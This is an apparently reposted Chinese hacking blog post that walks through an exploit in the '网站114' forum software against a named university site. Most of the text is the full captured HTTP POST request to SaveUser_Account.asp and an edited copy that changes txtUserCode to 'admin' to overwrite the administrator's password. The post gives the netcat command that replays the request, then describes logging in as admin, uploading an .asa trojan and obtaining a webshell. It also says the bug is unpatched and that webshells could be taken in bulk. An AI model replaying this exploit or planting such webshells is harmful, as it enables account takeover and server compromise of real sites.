注册
登录
| 关键词： Disposition Content form data name 605 61 41 33221 application |
关键字:"版权所有 设计制作：网站114"漏洞描述: 网站114论坛 2005版正式/edituserdb.asp对提交数据和cooikes缺乏验证导致任意用户可以修改管理员密码默认后台admin/index.asp今天在旁注一个机房的机器时用了一下。http://www.gxmu.net.cn/xzl/BBS/index.asp广西医科大学网站上的一个论坛。注册了一个用户33221.然后跳转到 /edituserdb.asp,单击“修改注册”开始抓包!用记事本保存抓包内容如下：-----------------------------------------------------------------------------------------------------------POST /xzl/BBS//SaveUser_Account.asp HTTP/1.1Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/x-shockwave-flash, */*Referer: http://www.gxmu.net.cn/xzl/BBS//edituserdb.aspAccept-Language: zh-cnContent-Type: multipart/form-data; boundary=---------------------------7d61e41d605f6Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Maxthon)Host: www.gxmu.net.cnContent-Length: 2304Connection: Keep-AliveCache-Control: no-cacheCookie: ASPSESSIONIDSCTSQSAB=EKMKINHAIAACMGFMKABJDBME-----------------------------7d61e41d605f6Content-Disposition: form-data; name="txtUserCode"33221-----------------------------7d61e41d605f6Content-Disposition: form-data; name="txtPassword"33221-----------------------------7d61e41d605f6Content-Disposition: form-data; name="txtConfirmPassword"33221-----------------------------7d61e41d605f6Content-Disposition: form-data; name="txtQuestion"33221-----------------------------7d61e41d605f6Content-Disposition: form-data; name="txtAnswer"33221-----------------------------7d61e41d605f6Content-Disposition: form-data; name="txtUserName"33221-----------------------------7d61e41d605f6Content-Disposition: form-data; name="selSex"先生-----------------------------7d61e41d605f6Content-Disposition: form-data; name="txtNick"11-----------------------------7d61e41d605f6Content-Disposition: form-data; name="txtProvince"111-----------------------------7d61e41d605f6Content-Disposition: form-data; name="txtAddress"-----------------------------7d61e41d605f6Content-Disposition: form-data; name="txtPostCode"-----------------------------7d61e41d605f6Content-Disposition: form-data; name="txtTel"-----------------------------7d61e41d605f6Content-Disposition: form-data; name="txtMobile"-----------------------------7d61e41d605f6Content-Disposition: form-data; name="txtFax"-----------------------------7d61e41d605f6Content-Disposition: form-data; name="txtEmail"-----------------------------7d61e41d605f6Content-Disposition: form-data; name="txtUrl"-----------------------------7d61e41d605f6Content-Disposition: form-data; name="txtfile"; filename=""Content-Type: application/octet-stream-----------------------------7d61e41d605f6Content-Disposition: form-data; name="txtOicq"-----------------------------7d61e41d605f6Content-Disposition: form-data; name="txtDocument"-----------------------------7d61e41d605f6Content-Disposition: form-data; name="submit"修改注册信息-----------------------------7d61e41d605f6Content-Disposition: form-data; name="txtId"-----------------------------7d61e41d605f6Content-Disposition: form-data; name="txtTempId"-----------------------------7d61e41d605f6--------------------------------------------------------------------------------------------------------------其中：“-----------------------------7d61e41d605f6Content-Disposition: form-data; name="txtUserCode"33221-----------------------------7d61e41d605f6Content-Disposition: form-data; name="txtPassword"33221-----------------------------7d61e41d605f6Content-Disposition: form-data; name="txtConfirmPassword"33221-----------------------------7d61e41d605f6Content-Disposition: form-data; name="txtQuestion"33221-----------------------------7d61e41d605f6Content-Disposition: form-data; name="txtAnswer"33221-----------------------------7d61e41d605f6”修改第一个"33221"为“admin”保存11.txt文本为：POST /xzl/BBS//SaveUser_Account.asp HTTP/1.1Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/x-shockwave-flash, */*Referer: http://www.gxmu.net.cn/xzl/BBS//edituserdb.aspAccept-Language: zh-cnContent-Type: multipart/form-data; boundary=---------------------------7d61e41d605f6Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Maxthon)Host: www.gxmu.net.cnContent-Length: 2304Connection: Keep-AliveCache-Control: no-cacheCookie: ASPSESSIONIDSCTSQSAB=EKMKINHAIAACMGFMKABJDBME-----------------------------7d61e41d605f6Content-Disposition: form-data; name="txtUserCode"admin-----------------------------7d61e41d605f6Content-Disposition: form-data; name="txtPassword"33221-----------------------------7d61e41d605f6Content-Disposition: form-data; name="txtConfirmPassword"33221-----------------------------7d61e41d605f6Content-Disposition: form-data; name="txtQuestion"33221-----------------------------7d61e41d605f6Content-Disposition: form-data; name="txtAnswer"33221-----------------------------7d61e41d605f6Content-Disposition: form-data; name="txtUserName"33221-----------------------------7d61e41d605f6Content-Disposition: form-data; name="selSex"先生-----------------------------7d61e41d605f6Content-Disposition: form-data; name="txtNick"11-----------------------------7d61e41d605f6Content-Disposition: form-data; name="txtProvince"111-----------------------------7d61e41d605f6Content-Disposition: form-data; name="txtAddress"-----------------------------7d61e41d605f6Content-Disposition: form-data; name="txtPostCode"-----------------------------7d61e41d605f6Content-Disposition: form-data; name="txtTel"-----------------------------7d61e41d605f6Content-Disposition: form-data; name="txtMobile"-----------------------------7d61e41d605f6Content-Disposition: form-data; name="txtFax"-----------------------------7d61e41d605f6Content-Disposition: form-data; name="txtEmail"-----------------------------7d61e41d605f6Content-Disposition: form-data; name="txtUrl"-----------------------------7d61e41d605f6Content-Disposition: form-data; name="txtfile"; filename=""Content-Type: application/octet-stream-----------------------------7d61e41d605f6Content-Disposition: form-data; name="txtOicq"-----------------------------7d61e41d605f6Content-Disposition: form-data; name="txtDocument"-----------------------------7d61e41d605f6Content-Disposition: form-data; name="submit"修改注册信息-----------------------------7d61e41d605f6Content-Disposition: form-data; name="txtId"-----------------------------7d61e41d605f6Content-Disposition: form-data; name="txtTempId"-----------------------------7d61e41d605f6--这里因为我注册的用户名33221与admin长度一至，所以这里不用修改字节长度。然后用nc提交到服务器nc www.gxmu.net.cn 80 <11.txt返回提示修改会员资料成功。然后用admin 密码为申请33221的密码一至登录。当然就是管理员权限了，然后登录后台，点击“修改栏目”，上传asa木马，ok,拿到webshll。看了一下，这个论坛系统还没有出补丁，可以拿大批webshell了，不过我只要了对我比较有用的一个服务器，其它的没有去抓了。还有不清楚的，可以看下动画演示，http://www.ncph.net/soft/114论坛最新漏洞利用动画.rar垃圾漏洞，这里是弄给菜鸟看的，高人不要骂我。 |
|
声明：文章版权归原作者所有 部分文章转自互联网 如有侵权请联系
[邮箱地址] 删除
|
